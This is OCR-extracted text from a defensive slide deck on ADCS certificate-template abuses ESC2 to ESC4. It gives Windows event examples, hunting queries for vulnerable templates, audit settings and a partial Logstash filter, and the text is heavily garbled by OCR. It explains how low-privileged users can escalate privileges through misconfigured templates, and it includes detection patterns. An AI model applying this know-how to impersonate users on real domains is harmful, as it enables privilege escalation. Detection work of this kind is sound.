Grants certificate enrollment right CDCLCSWRPWPDTLOSDRCWDWO ; ; ;DA) (A; ; CCDCLCSWRPWPDTLOSDRCWDWO ; ; ; S-1-5-21-39709063
to the “Domain Users” group 61-1696223450-2713567839-519) (A; ; CCDCLCSWRPWPDTLOSDRCWDWO ; ; ; S-1-5-21-39709063
61-1696223450-2713567039-1184) (A: :LCRPLORC : : :AU)

® TemplateContent v A

https://t.me/learningnets

msPKI-Template-Minor-Revision = 3
flags = @x2023a (131642) : No authorized signatures
CT_FLAG_ADD_EMAIL -- @x2 msPKI-RA-Signature = 0 | ,re required
CT_FLAG_PUBLISH_TO_DS -- 8x8
CT_FLAG_EXPORTABLE_KEY -- 8x18 (16) | mePKT-Minimal-Kev-Size = 2048
CT_FLAG_AUTO_ENROLLMENT -- @x20 (32) :
CT_FLAG_ADD_TEMPLATE_NAME -- 0x200 (512) displayName = ESC1
CT_FLAG_IS_MODIFIED -- 0x208000 (131072)
templateDescription = User
msPKI-Private-Key-Flag = 0x1010010 (16842768)
CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- @x18 (16) PKIExtendedKeyUsage = ”Client
CTPRIVATEKEY_FLAG_ATTEST_NONE -- 9x0 1.3.6.1.5.5.7.3.2 Client Authentication Authentication”
TEMPLATE_SERVER_VER_2083&1t ; &1t ; CTPRIVATEKEY _FLAG_SERVERVERSION_SHIFT - 1.3.6.1.5.5.7.3.4 Secure Email EKU allows
TEMPLATE_CLIENT_VER_XP&1t;&1t;CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 1.3.6.1.4.1.311.10.3.4 Encrypting File System | authentication
msPKI-Certificate-Name-Flag = @x1 (1) RequeSter can specify
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- @x1 the SAN in a CSR
Manager approval is
msPKI-Enrollment-Flag = @x9 (9) disabled (there is no flag
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- Ox1 |CT FLAG PEND ALL RE
CT_FLAG_PUBLISH_TO_DS -- 8x8 QUESTS) ™ -7 20




ESC2 — Misconfigured Certificate Templates
Any Purpose EKU or no EKU (Subordinate CA)

* Extended Key Usage (EKU) describes
how the certificate can be used (Client
Authentication, Smart Card Logon,
etc.);

* When a certificate template specifies
the Any Purpose EKU, or no EKU at all,
the certificate can be used for
anything;

* If the requester can specify a SAN,
ESC2 wvulnerable certificate can be
abused like ESC1;

* It can be abused like ESC3 — the ESC2
vulnerable certificate can be used to
request another one on behalf of any
other user;

* There also can be more exotic ways to
abuse ESC2 - code signing, server
authentication, etc.

https://t.me/learningnets

ESC2 Properties ?

Subject Name Issuance Requirements

X

General Compatibility Request Handling Cryptography Key Attestation

Superseded Templates Extensions Security

To modify an extension, select it, and then click Edit.

Extensions included in this template:

Server

D Basic Constraints
DCertificate Template Information
D Issuance Policies

E Key Usage

Edit...

Description of Application Policies:

IAny Purpose I

YO

Superseded Templates

GI'OUD or user names:

Extensions

oY T T ET ST TR

Security

Server

SR Authenticated Users
a dadmin (dadmin@demo local)

Add... Remove
Pemissions for Domain Users Allow Deny
Full Control | |
Read U] U
Write ] [l
[ Enrol O |
Autoenroll | |

i~ T TOTT T

Subject Name

Require the following for enroliment:

Issuance Requirements

[] CA certificate manager approval
[] This number of authorized signatures:
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Certificate template that vulnerable to the ESC2 technique
Useful events (Any Purpose EKU)

Use 4898 event to find vulnerable templates:

@ Event Properties - Event 4898, Microsoft Windows security auditing.

General Details

Certificate Services loaded a template.
ESC2 v100.7 (Schema V2)

CN=ESC2,CN=Certificate Templates, CN=Public Key
Services,CN=Services,CN=Configuration,DC=demo,DC=local

1.3.6.1.4.1.311.21.8.3545524.9779859.5064892.3279104.12974722.100.14056585.98]

Security Descriptor: 0:5-1-5-21-3970906361-1696223450-2713567039-
1104G:S-1-5-21-3970906361-1696223450-2713567039-519D:PAI(OA::RPWPCR:0e10c968-78fb-
11d2-90d4-00c04f79dc55;; DAY OA:; RPWPCR,0e10c968 78fb 11d2- 90d4 00c04f79dc55,,DU]
(OA;;RPWPCR;0e10c968-78fb-11d
2713567039-519)(A;; CCDCLCSWRPWPDTLOSDRCWDWO,,,DA)
(A;;:CCDCLCSWRPWPDTLOSDRCWDWO:;;;S-1-5-21-3970906361-1696223450-2713567039-519)
(A;; CCDCLCSWRPWPDTLOSDRCWDWO;;:S-1-5-21-3970906361-1696223450-2713567039-1104)
(A:;:LCRPLORC;;:AU)

Allow DEMO\Demain Admins

msPKI-Certificate-Name-Flag = 0x2000000 (33554432)
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 0x2000000 (33554432)

msPKI-Enrollment-Flag = 0x29 (41) Mfanﬁiﬁr(igpﬁg\g'a' is

CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- Ox1| CT FLAG PEND ALL

Enroll
Allow DEMO\Domain Users Grants certificate enrollment right
Enroll to the “Domain Users” group
Allow DEMO\Enterprise Admins
Enroll
Al o A NONNENNEEY NMCAAN\ Nminmnmiom A dinmion~

CT_FLAG_PUBLISH_TO_DS -- 0x8 _REQUESTS)
msPKI-RA-Signature = 0 No authorized signatures are required
pKlExtendedKeyUsage = Any P U

2.5.29.37.0 Any Purpose v Hrpose

https://t.me/learningnets
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Certificate template that vulnerable to the ESC2 technique

Useful events (no EKU)

Use 4898 event to find vulnerable templates:

{d] Event Properties - Event 4898, Microsoft Windows security auditing.

General Details

Certificate Services loaded a template.

ESC2_2 v100.9 (Schema V2)
1.3.6.1.4.1.311.21.8.3545524.9779859.5064892.3279104.12974722.100.204172.123

Security Descriptor:

1104G:S-1-5-21-3970906361-1696223450-2713567039-519D: PAI(OA::RPWPCR:0e10c968- 78fb-
11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f 79dc55;;DU)

0:5-1-5-21-3970906361-1696223450-2713567039-

(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f 79dc55;;5-1-5-21-3970906361-1696223450-
2713567039-519)(A;; CCDCLCSWRPWPDTLOSDRCWDWO;;:DA)
(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3970906361-1696223450-2713567039-519)
(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3970906361-1696223450-2713567039-1104)

CN=ESC2_2,CN=Certificate Templates, CN=Public Key (A::LCRPLORC;::AU)
Services,CN=Services, CN=Cenfiguration,DC=demo,DC=local
Allow DEMO\Domain Admins
s Enroll
msPKI-Certificate-Name-Flag = 0x2000000 (33554432) X G v .
Allow DEMO\Domain Users rants certificate enrollment right
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 0x2000000 (33554432) Enroll to the “Domain Users” group
msPKI-Enroliment-Flag = 0x29 (41) gfi'?antigzr(ig%ggal is Allow Erf:\glcl)\Enterpnse Admins
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- Ox1 CT_FLAG_PEND_ALL At SO NONENNERY NEAAON DN msmmmion A dianion-~
CT_FLAG_PUBLISH_TO_DS -- 0x8 _REQUESTS)
msPKI-RA-Signature = 0 No authorized signatures are required
pKlExtendedKeyUsage = SubCA Template (no EKUs)

P Vq 1) Leoen . "
PSJ/7Lmenedrmngnets

=

23




Certificate template that vulnerable to the ESC2 technique
Let's hunt it!

Search for certificate templates that met the following conditions:

an overly permissive certificate template security descriptor grants certificate enrollment rights to
low-privileged users;

* no authorized signatures are required;

* manager approval is disabled;

* the certificate template defines Any Purpose EKUs (“2.5.29.37.0”) or no EKUs.

EventID:4898 AND SecurityDescriptor:(";0e10c968-78fb-11d2-90d4-00c04f79dc55,,DU" OR ";0e10c968-
78fb-11d2-90d4-00c04f79dc55,;,AU" OR ";0e10c968-78fb-11d2-90d4-00c04f79dc55,;,WD") AND -
TemplateContent:"CT_FLAG_PEND ALL REQUESTS" AND TemplateContent:"msPKI-RA-Signature = 0"
AND (TemplateContent:"2.5.29.37.0" OR TemplateContent:"pKIExtendedKeyUsage =

)

https://t.me/learningnets 24



Certificate template that vulnerable to the ESC2 technique
Let's hunt it!

Time «

Channel EventID

v May 14, 2022 @ 18:17:59.228 Security 4898

Category TemplatelnternalName SecurityDescriptor
Certification  ESC2 0:5-1-5-21-3970906361-1696223450-2713567039-1104G:S-1-5-21-3970906361-1696223
Services 450-2713567039-519D :PAI(OA; ;RPWPCR ;0e10c968-78fb-11d2-90d4-08c04179dc55; ;DA)

(OA;;RPWPCR;Ge190968-78fb-11d2-99d4-90c04f79d055;;DU)kOA;;RPWPCR;0e1BC968-78f
b-11d2-90d4-00c04f79dc55; ;S-1-5-21-3970906361-1696223450-2713567039-519) (A; ;C
CDCLCSWRPWPDTLOSDRCWDWO; ; ;DA) (A; ; CCDCLCSWRPWPDTLOSDRCWDWO; ; ;S-1-5-21-39709063
61-1696223450-2713567039-519) (A; ; CCDCLCSWRPWPDTLOSDRCWDWO; ; ;S-1-5-21-39709063
61-1696223450-2713567039-1104) (A: :LCRPLORC: : : AU)

Grants certificate enrollment right
to the “Domain Users” group

@ TemplateContent v A

flags = 0x2023a (131642)
CT_FLAG_ADD_EMAIL -- ox2

CT_FLAG_PUBLISH_TO_DS -- @x8

msPKI-Template-Minor-Revision = 3

No authorized signatures

msPKI-RA-Signature = © 5
are required

CT_FLAG_EXPORTABLE_KEY -- 0x10 (16) mePKT-Minimal-Keav-Qize = 2048
CT_FLAG_AUTO_ENROLLMENT -- 0x20 (32)
CT_FLAG_ADD_TEMPLATE_NAME -- 0x200 (512) displayName = ESC2
CT_FLAG_IS_MODIFIED -- ©x20000 (131072)

templateDescription = User

msPKI-Private-Key-Flag = 0x108180108 (16842768) Anv Puroose EKU

CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 9x10 (16) pKIExtendedKeyUsage = y rurp
CTPRIVATEKEY_FLAG_ATTEST_NONE -- ©x@ 2.5.29.37.8 Any Purpose

TEMPLATE_SERVER_VER_2003&1t;&1t;CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -
TEMPLATE_CLIENT_VER_XP&1t;&1t;CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT --

msPKI-Certificate-Name-Flag = 0x2000000 (33554432)

displayName = ESC2_2

https://t.me/learningnets

CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 8x2000000 (33554432) templateDescription = User
. SubCA (no EKUs
msPKI-Enrollment-Flag = 8x29 (41) hﬂanager;approyalls pKIExtendedKeyUsage = ( )
CT_FLAG_ INCLUDE_SYMMETRIC_ALGORITHMS -- ox1 | disabled (there is no flag

CT_FLAG_PUBLISH_TO_DS -- ©x8 CT_FLAG_PEND_ALL_RE AVTNAEA: 1 +0CDA  —

CT_FLAG_AUTO_ENROLLMENT -- 0x20 (32)

QUESTS) 25




ESC3 — Misconfigured Enrollment Agent Templates

* Enrollment Agents — users who are able
to enroll for a certificate on behalf of
another user;

e There is special EKU “Certificate
Request” (1.3.6.1.4.1.311.20.2.1) for
Enroliment Agents certificates;

* So, if there is a template with “Certificate
Request” EKU, that can be enrolled
without approval by non-privileged user
and there are no any enrollment
restrictions — it can be abused for
privilege escalation ;

* The issued certificate from ESC3
vulnerable template allows to request
another certificate on behalf of any user
(so, It means that it is possible to
impersonate almost any user).

https://t.me/learningnets

demo-CA Properties ? X
General Policy Module Exit Module
Extensions Storage Certificate Managers

Enrollment Agents Auditing Recovery Agents Security

For more information see Delegated Enroliment Agents:
I (® Do not restrict enrollment agents
(O Restrict enrollment agents

s 1 ot =

ESC3 Properties ? X

General Compatibility Request Handling Cryptography Key Attestation
Subject Name Issuance Requirements
Superseded Templates Extensions Security Server

GFOUD Oor user names:

SoTToTar O o TTOTTam Ty SyPTOgTORTTy TGy 7%

Superseded Templates Extensions Security Server

To modify an extension, select it, and then click Edit.

Extensions included in this template:
DAppIication Policies

!j Basic Constraints

DCert'rficate Template Information
D Issuance Policies

B Key Usage

Edi...

Description of Application Policies:
Certificate Request Agent

SR Authenticated Users
3 dadmln (dadmlnCdemo Iocal)

Add... Remove
Pemissions for Domain Users Allow Deny
Full Control O O
Read OJ O
Write L] L]
Enrol O]
Autoenroll | O

TOPCISTUCTY TCITPIOrGS TRICTTSTOT TS TToanty TCTVCT

Subject Name Issuance Requirements

Require the following for enroliment:

[C]CA certificate manager approval

[C] This number of authorized signatures: 0

U
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Certificate template that vulnerable to the ESC3 technique

Useful events

Use 4898 event to find vulnerable templates:

{2] Event Properties - Event 4898, Microsoft Windows security auditing.

General Details

Certificate Services loaded a template.

ESC3 v100.5 (Schema V2)
1.3.6.1.4.1.311.21.8.3545524.9779859.5064892.3279104.12974722.100.3567088.500
CN=ESC3,CN=Certificate Templates, CN=Public Key
Services,CN=Services,CN=Configuration,DC=demo,DC=local

Security Descriptor:

0:5-1-5-21-3970906361-1696223450-2713567039-

1104G:S-1-5-21-3970906361-1696223450-2713567039-519D:PAI(OA::RPWPCR:0e10c968-78fb-

(A;;LCRPLORC;;;AU)

Allow DEMO\Demain Admins
Enroll

1 d2-90d4-00c04f79dc55;;DAI(OA;;RPWPCR;0e1 0c968-78fb-11d2-90d4-00c04f79dc55;:DU)
(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3970906361-1696223450-
2713567039-519)(A;; CCDCLCSWRPWPDTLOSDRCWDWQO;;;DA)

(A;; CCDCLCSWRPWPDTLOSDRCWDWO:;;;S-1-5-21-3970906361-1696223450-2713567039-519)
(A;;CCDCLCSWRPWPDTLOSDRCWDWGO:;;;S-1-5-21-3970906361-1696223450-2713567039-1104)

msPKI-Certificate-Name-Flag = 0x2000000 (33554432)
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 0x2000000 (33554432)

Allow DEMO\Domain Users
Enroll

Allow DEMO\Enterprise Admins
Enroll

Grants certificate enrollment right
to the “Domain Users” group

Al o JONONENNEEY NEAAN N DN nsmmmin A lmmime

msPKI-Enrollment-Flag = 0x29 (41) gfganaggr(iggggva' is
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- Ox1| T FLAG PENDg ALL
CT_FLAG_PUBLISH_TO_DS -- 0x8 _REQUESTS)

msPKI-RA-Signature = 0 No authorized sighatures are required

pKlExtendedKeyUsage = Template defines the

hit 1.3_.&1 .4.1.&11.20.2.1 CeEificate Request Agent | Certificate Request Agent EKU
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Certificate template that vulnerable to the ESC3 technique
Let's hunt it!

Search for certificate templates that met the following conditions:

* an overly permissive certificate template security descriptor grants certificate enrollment rights to low-
privileged users;

* no authorized signatures are required;
* manager approval is disabled;

* the certificate template defines the Certificate Request Agent EKU (“1.3.6.1.4.1.311.20.2.1").

EventID:4898 AND SecurityDescriptor:(";0e10c968-78fb-11d2-90d4-00c04f79dc55,,DU" OR ";0e10c968-78fb-
11d2-90d4-00c04f79dc55;;,AU" OR ";0e10c968-78fb-11d2-90d4-00c04f79dc55;,;WD") AND

TemplateContent:"msPKI-RA-Signature = 0" AND -TemplateContent:"CT_FLAG_PEND _ALL REQUESTS" AND
TemplateContent:"1.3.6.1.4.1.311.20.2.1"

https://t.me/learningnets
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Certificate template that vulnerable to the ESC3 technique
Let's hunt it!

Time + Channel EventID Category TemplatelnternalName SecurityDescriptor
v May 14, 2022 @ 15:12:51.127 Security 4898 Certification ESC3 0:S-1-5-21-3970966361-1696223450-2713567039-1104G:S-1-5-21-3970906361-1696223
Services 450-2713567039-519D: PAI(0A; ;RPWPCR;0e10c968-78fb-11d2-90d4-00c04179dc55; ;DA)
(OA;;RPWPCR;6e100968—78fb—11d2—90d4—00004f79d055;;DU)kOA;;RPWPCR;0e1OC968—78f
b-11d2-90d4-006c04f79dc55; ;S-1-5-21-3970906361-1696223450-2713567039-519) (A; ;C
Grants certificate enrollment right CDCLCSWRPWPDTLOSDRCWDWO; ; ;DA) (A; ; CCDCLCSWRPWPDTLOSDRCWDWO; ; ;S-1-5-21-39709063
to the “Domain Users” group 61-1696223450-2713567039-519) (A; ; CCDCLCSWRPWPDTLOSDRCWDWO ; ; ; S-1-5-21-39709063
61-1696223450-2713567039-1104) (A: :LCRPLORC: : : AU)
® TemplateContent v A msPKI-Template-Minor-Revision = 3

flags = 0x2023a (131642)
CT_FLAG_ADD_EMAIL -- ©6x2
CT_FLAG_PUBLISH_TO_DS -- ©0x8
CT_FLAG_EXPORTABLE_KEY -- @x18 (16)
CT_FLAG_AUTO_ENROLLMENT -- 0x20 (32)
CT_FLAG_ADD_TEMPLATE_NAME -- 8x200 (512)
CT_FLAG_IS_MODIFIED -- ©x20008 (1310872)

msPKI-Private-Key-Flag = 0x1010010 (16842768)
CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- @x10 (16)
CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0x@

TEMPLATE_SERVER_VER_2003&1t ;&1t;CTPRIVATEKEY_

FLAG_SERVERVERSION_SHIFT

TEMPLATE_CLIENT_VER_XP&1t;&1t;CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT --

msPKI-Certificate-Name-Flag = 0x2000000 (33554432)

CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 8x2000000

https://t.me/learningnets

msPKI-Enrollment-Flag = 0x29 (41)
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- @x1
CT_FLAG_PUBLISH_TO_DS -- ©0x8
CT_FLAG_AUTO_ENROLLMENT -- 0x20 (32)

(33554432)

Manager approval is
disabled (there is no flag
CT_FLAG_PEND_ALL_RE
QUESTS)

No authorized signatures
are required

msPKI-RA-Signature = ©

mePKT-Minimal-Kev-Qize = 2048

displayName = ESC3

templateDescription = User

pKIExtendedKeyUsage =
1.3.6.1.4.1.311.20.2.1 Certificate Request Agent

Template defines
the Certificate
Request Agent
EKU
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Enroll fFor Certificates on Behalf of Other Users

Useful events

When somebody requests certificate on Behalf of Other User
requester and subject are differing in the related 4887 event

simpleuser requests certificate on Behalf of dadmin user

simpleuser/DCS requests certificate themselves

id] Event Properties - Event 4887, Microsoft Windows security auditing.

General Details

Certificate Services approved a certificate request and issued a certificate.

{d] Event Properties - Event 4887, Microsoft Windows security auditing.

General Details

Request ID: 134
Requester: DEMO\simpleuser |
Attributes:

Requester and Subject

are the same user
ccm:WS.demo.local

Disposition: 3
SKI: fa 03 6b 30 b7 17 30 a8 ea 6 79 64 2f 127758 11 a8 93 7f

Certificate Services approved a certificate request and issued a certificate.

Request ID: 135
Requester: DEMO\simpleuser
Attributes:

Requester and Subject

are different users
ccm:WS.demo.local

Disposition: 3
SKl: 25e931bl1a2b2cdeccd 50374143904671f988f0b5
Subject: | CN=dadmin, OU=Admins, DC=demo, DC=local

Subject: CN=simpleuser, CN=Users, DC=demo, DC=local |

id] Event Properties - Event 4887, Microsoft Windows security auditing.

General Details

Certificate Services approved a certificate request and issued a certificate.
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Request ID: 48

Requester: DEMO\DCS |

Attributes: Requester and Subject
CertificateTemplate:DomainController are the same user
ccm:CA.demo.local

Disposition: 3

SKI: fb 08 74 73 f8 4d 86 97 5c 8e a4 ab €3 52 1e 19 5f 9a fe 53

Subject: CN=DC.demo.local |
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ESC4 — Vulnerable Certificate Template Access Control

* Certificate templates are AD objects, so they have security ESC4 Properties ? b
descriptor, that defines which permissions AD principals have over
the t emplat e; Subject f.\la't-ne . Issuance Requirements -
General Compatibilty Request Handling Cryptography Key Attestation
* Weak permissions (Excessive access rights) can allow non-privileged Superseded Templates Extensions Security Server

users to edit sensitive security settings in the template (defines EKUs,
allows SAN, disable manager approval), thereby making its

Group or user names:
2 Authenticated Users

vulnerable to the ECS1-3 technique; 2 Domain Admins (DEMO\Domain Admins)
¥ 4 Domain Users (DEMO\Domain Users)

* The rights we care about are:

Rt Desemeten

42 Enterprise Admins (DEMO\Enterprise Admins)

Owner Implicit full control of the object, can edit any properties
FullControl Full control of the object, can edit any properties. Add... Te—os
i i ner n ker-controll rincipal

WriteOwner Can modify the owner to an attacker-controlled principa B e Alow piaiis

WriteDacl Can modify access control to grant an attacker FullControl Full Cortrol ] O]

WriteProperty Can edit any properties Read L] L]
Write D |
Enroll O
Autoenroll ] ]

https://t.me/learningnets
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Certificate template that vulnerable to the ESC4 technique
Useful events

Use 4898 event to find vulnerable templates:

{2] Event Properties - Event 4898, Microsoft Windows security auditing. Security Descriptor: 0:WDG:S-1-5-21-3970906361-1696223450-
2713567039-519D:PAI(OA;::RPWPCR:0e10c968-78fb-11d2-90d4-00c04f79dc55;:DA)

(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3970906361-1696223450-
2713567039-519)(A;; CCDCLCSWRPWPDTLOSDRCWDWO:;;:DA)

(A;; CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3970906361-1696223450-2713567039-519)
Certificate Services loaded a template. (A;:CCDCLCSWRPWPDTLOSDRCWDWO:;:S-1-5-21-3970906361-1696223450-2713567039-1104)
(A;; CCDCLCSWRPWPDTLOCRSDRCWDWO;;;:DU)(A;;LCRPWPRCWDWO:;;WD)
ESC4 v100.5 (Schema V2) (A;;LCRPWPLORCWDWO;;:AU)
1.3.6.1.4.1.311.21.8.3545524.9779859.5064892.3279104.12974722.100.1579818.102
CN=ESC4,CN=Certificate Templates, CN=Public Key Allow DEMO\Domain Admins
Services,CN=Services,CN=Configuration,DC=demo,DC=local Enroll

General Details

Allow DEMO\Enterprise Admins
Enroll

Allow(0x000f00ff) DEMO\Domain Admins
Full Control

Allow(0x000f00ff) DEMO\Enterprise Admins
Full Control

Allow(0x000f00ff) DEMO\dadmin
Full Control

Allow(0x000f01ff) DEMO\Domain Users
Full Control

Allow(0x000e0034) Everyone
Write

Allow(0x000e00b4) NT AUTHORITY\Authenticated Users
Write

A
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Certificate template that vulnerable to the ESC4 technique

Let's hunt it!

Search for certificate templates with weak permissions:

EventID:4898 AND SecurityDescriptor:(";CCODCLCSWRPWPDTLOCRSDRCWDWO;,;;,DU" OR
""CCDCLCSWRPWPDTLOCRSDRCWDWO;,;;AU" OR ";CCDCLCSWRPWPDTLOCRSDRCWDWO,;;WD" OR
““WPWDWO,;;DU" OR ";WPWDWO;,;;AU" OR ";WPWDWO,;;WD")

Time « Channel EventID TemplatelnternalName SecurityDescriptor

> May 14, 2022 @ 16:11:02.862 Security 4898 ESC4 0:WDG:S-1-5-21-3970906361-1696223450-2713567039-519D :PAI (0A; ;RPWPCR ;0e10c968-78fb-11d2-
90d4-00c084179dc55; ;DA) (OA; ;RPWPCR;0e10c968-78fb-11d2-90d4-00c04179dc55; ;S-1-5-21-397090
6361-1696223450-2713567039-519) (A; ,CCDCLCSWRPWPDTLOSDRCWDWO, ; iDA) (A; ;CCDCLCSWRPWPDTLOSD
RCWDWO; ; ;S-1-5-21-3970906361-1696223450-271356 i :S
=1-5-21- = = -1104)(A; ; CCOCLCSWRPWPDTLOCRSDRCWDWO ; ; ;DU)|(A; ;L
CRPWPRCWDWO; ; ;WD) (A; ; LCRPWPLORCWDWO; ; ; AU)

® SecurityDescriptor v A
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UJ

0:WDG:S-1-5-21-3970906361-1696223450-2713567039-519D : PAI(0A; ; RPWPCR; 0e10c968-78fb-11d2-98d4-80c084f79dc55; ;DA) (0A; ; RPWPCR;
0e10c968-78fb-11d2-90d4- BBCB4f79dc55 ;S-1-5-21-3970906361-1696223450-2713567039-519) (A; ; CCOCLCSWRPWPDTLOSDRCWDWO ; ; ; DA)

;S-1-5-21-3970906361-1696223450-2713567039-519) (A; ; CCDCLCSWRPWPDTLOSDRCWDWO ;
906361-1696223450-2713567039- 1104)(A ; CCDCLCSWRPWPDTLOCRSDRCWDWO ;

(A; ;CCDCLCSWRPWPDTLOSDRCWDWO ;

Allow DEMO\Domain Admins

;S-1-5- 21 -3970

;:DU) (A; ;LCRPWPRCWDWO; ; ;WD) (A;; LCRPWPLORCWDWO ;1 AU)

Enroll

Allow DEMO\Enterprise Admins
Enroll

Allow(@xe00f00ff) DEMO\Domain Admins
Full Control

Allow(@xe00f00ff) DEMO\Enterprise Admins
Full Control

Allow(@x000f00ff) DEMO\dadmin
Full Control

Allow(@x000f01ff) DEMO\Domain Users
Full Control

Allow(0x000e0034) Everyone
Write

Allow(0©x080e080b4) NT AUTHORITY\Authenticated Users
Write
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Audit AD object modifications

& ADSI Edit
File Action View Help
e 25 XE G

L4

| CN=LostAndFoundConfig
| CN=NTDS Quotas

| CN=Partitions

| CN=Physical Locations

v || CN=Services

A || Name Class I
&) CN=ESC3 pKlCertificat... 1
i | CN=ESC4 pKlCertificat... !
] CN=ExchangeUser pKlCertificat... !

~N_CCrA D
CN=ESC4 Properties

Attribute Editor  Security

GI'OUD or user names:

82 Authenticated Users
H2 Domain Admins (DEMO\Domain Admins)
S2 Namain |lsers INEMOA\DNAmain |lsers)

| CN=AuthN Policy Configuration
=/ Group Policy Management Editor ] CN=Claims Configuration
| CN=Group Key Distribution Service
File Action View Help | CN=Microsoft SPP
| CN=MsmqServices
& $ I 1 |G | =g | . | CN=NetServices
» &, IP Security Policies on Active Directo A Subcategory Audit Events v 4 ZNZL”_*’K;KEY Services
v [ Advanced Audit Policy Configuratior sio] Audit Detailed Directory Service Re... Not Configured ] CN=CDP
= “'3 j;'d: Pohcn:i si| Audit Directory Service Access Not Cenfigured | CN=Certificate Templates
ccount Logon : e " E T -
g Audit Directory Service Changes Success and Failure J e Au’_thont'es
> A Account Management o g : e ; | CN=Enrollment Services
, B3 Detailed Tracking o] Audit Directory Service Replication ~ Not Configured _J CN=KRA
- ] DS Access = CN=0ID
== | /L # .| CN=RRAS
i ‘-:Ea °9°n i | CN=Shadow Principal Configurati
> __Jj Object Access ] CN=Windows NT
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] CN=Sites

| CN=WellKnown Security Principals

Advanced Security Settings for ESC4

Owner: dadmin (dadmin@demo.local) Change
Permissions Auditing Effective Access

For additional information, double-click an audit entry. To modi

Auditing entries:

Type Principal Access Inherited from
8% Succ.. Everyone Special CN=Certificate |
8% Succ.. Everyone Special CN=Certificate |
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Monitor certificate template modifications. Useful events

Use 5136 event to monitor the modifications of the critical Certificate Templates attributes (pKIExtendedKeyUsage,
msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag). This event also generated when Certificate Template is created:

i4] Event Properties - Event 5136, Microsoft Windows security auditing.

General Details

i3] Event Properties - Event 5136, Microsoft Windows security auditing.

General Details

A directory service object was modified.

Subject:

A directory service object was modified.

id] Event Properties - Event 5136, Microsoft Windows security auditing.

General Details

A directory service object was modified.

Security ID:
Account Name:
Account Domain:

DEMO\dadmin
dadmin

DEMO
0xB420F6

Subject:
Security ID: DEMO\dadmin
Account Name: dadmin
Account Domain: DEMO
Logon ID: 0xB420F6

Logon ID:

Directory Service:
Name: demo.local
Type:  Active Directory Domain Services

Object:

DN: CN=ESC4,CN=Certificate Templates, CN=Public Key
Services,CN=Services, CN=Configuration,DC=demo,DC=local

GUID:  CN=ESC4,CN=Certificate Templates, CN=Public Key

Services,CN=Services, CN=Configuration,DC=demo,DC=local
I Class: pKICertificateTempIateI

Attribute;
LDAP Display Name: msPKI-Certificate-Name-Flag
Syntax (OID): 2.5.59
Value: 1 https://bit.ly/3NctSVZ
Operatjon:
Type:  Value Added |

Correlation ID:  {ee83d60f-a2cb-41d2-bd5e-d36fbf24c9eb}
Application Correlation ID: -

Directory Service:
Name: demo.local
Type:  Active Directory Domain Services

Object:
DN: CN=ESC4,CN=Certificate Templates, CN=Public Key
Services,CN="Services,CN=Configuration,DC=demo,DC=local
GUID:  CN=ESC4,CN=Certificate Templates, CN=Public Key
Services,CN=Services, CN=Configuration,DC=demo,DC=local
Class:  pKlCertificateTemplate

Attribute;
LDAP Display Name: msPKI-Enrollment-Flag
Syntax (OID): 2.5.5.9 ] i
Value: 41 https://bit.ly/3LfjkEO
Operati

n:
Type:  Value Added
“Correlation ID: 1 2ct31a28-8545-4a14-%9e33-0a3c4327ad60}

Application Correlation ID: -

Subject:
Security ID: DEMO\dadmin
Account Name: dadmin
Account Domain: DEMO
Logon ID: O0xC8A148

Directory Service:
Name: demo.local
Type:  Active Directory Domain Services

Object:

DN: CN=ESC4,CN=Certificate Templates, CN=Public Key
Services, CN=Services,CN=Configuration,DC=demo,DC=local

GUID:  CN=ESC4,CN=Certificate Templates, CN=Public Key

Services, CN=Services, CN=Configuration,DC=demo,DC=local
I Class: pKICertificateTempIateI

Attribute

LDAP Display Name:
Syntax (OID): 2.5.5.12
Value: 2.5.29.37.0

pKlExtendedKeyUsage

Operation:

Type:  Value Added
Correlation ID: {eadelelf-6cdb-4655-8855-eaa41d81ccel}
Application Correlation ID: -

https://t.me/learningnets
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Use Logstash ruby filter to extract flags from mask

if [EventID] == "5136" and [AttributeLDAPDisplayNam;] == "msPKI-Enrollment-Flag" {

ruby {
code => "
const = {

'CT_FLAG_
'CT_FLAG_
L CIISEIYAGHE
'CT_FLAG_
'CT_FLAG_
'CT_FLAG_
'CT_FLAG_
HCISEITAGE
'CT_FLAG_
'CT_FLAG_
LCIINEIFAGES
'CT_FLAG_

'CT_FLAG_
LCIISEIFAGHS
'CT_FLAG_
'CT_FLAG_
'CT_FLAG_

}
flags list =
flags_mask =

INCLUDE_SYMMETRIC_ALGORITHMS' => 0x00000001,

PEND_ALL_REQUESTS' => 0x00000002,

PUBLISH_TO_KRA_CONTAINER' => 0x00000004,

PUBLISH_TO_DS' => 0x00000008,
AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE' => 0x00000010,
AUTO_ENROLLMENT' => 0x00000020,
PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT' => 0x00000040,
USER_INTERACTION_REQUIRED' => 0x00000100,
REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE' => 0x00000400,
ALLOW_ENROLL_ON_BEHALF_OF' => 0x00000800,

